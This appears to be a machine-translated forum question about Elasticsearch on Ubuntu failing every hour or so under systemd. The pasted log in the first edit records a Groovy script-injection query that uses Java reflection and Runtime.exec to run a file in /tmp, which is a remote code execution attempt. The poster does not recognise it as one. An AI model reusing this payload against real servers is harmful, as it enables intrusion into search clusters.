elasticsearch定期在ubuntu上使用systemd失败:如何解决这个问题?

我在Ubuntu 14.10上使用Elasticsearch,它会周期性地closures(进入失败状态)。 停机时,会在我的网站上抛出exception,用户无法正确search,连接或更新数据库。

当我得到服务的状态,如果运行,我有:

elasticsearch.service - ElasticSearch Loaded: loaded (/usr/lib/systemd/system/elasticsearch.service; enabled) Active: active (running) since Wed 2015-04-15 15:47:39 CEST; 8min ago Main PID: 253 (java) CGroup: /system.slice/elasticsearch.service └─253 /usr/bin/java -Xms256m -Xmx1g -Djava.awt.headless=true -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFr... 

我已经configurationsystemd总是重新启动服务,如果下来,它的工作,但仍然,它每隔一小时左右。

我怎样才能找出原因呢?

EDIT1:我在var / logs / elasticsearch中发现了一些elasticsearch日志文件。 我有一个重复的元素:

 [2015-04-14 16:13:11,170][DEBUG][action.search.type ] [Tiboro] All shards failed for phase: [query] org.elasticsearch.search.SearchParseException: [foodmeup][2]: from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"script_fields":{"exp":{"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"/tmp/bbos-998\").getInputStream())).readLines()","lang": "groovy"}}}]] at org.elasticsearch.search.SearchService.parseSource(SearchService.java:721) at org.elasticsearch.search.SearchService.createContext(SearchService.java:557) at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:529) at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:291) at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231) at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228) at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) Caused by: org.elasticsearch.script.ScriptException: dynamic scripting for [groovy] disabled at org.elasticsearch.script.ScriptService.verifyDynamicScripting(ScriptService.java:307) at org.elasticsearch.script.ScriptService.compile(ScriptService.java:282) at org.elasticsearch.script.ScriptService.search(ScriptService.java:429) at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:81) at org.elasticsearch.search.SearchService.parseSource(SearchService.java:705) ... 9 more 

EDIT2

不知道这是关于这一点,但我想通过java 1.7u55赌注弹性search效果最好: https ://www.elastic.co/blog/java-1-7u55-safe-use-elasticsearch-lucene

以及如何切换到此版本: https : //askubuntu.com/questions/564469/how-to-downgrade-java-for-example-java-7u72-to-7u67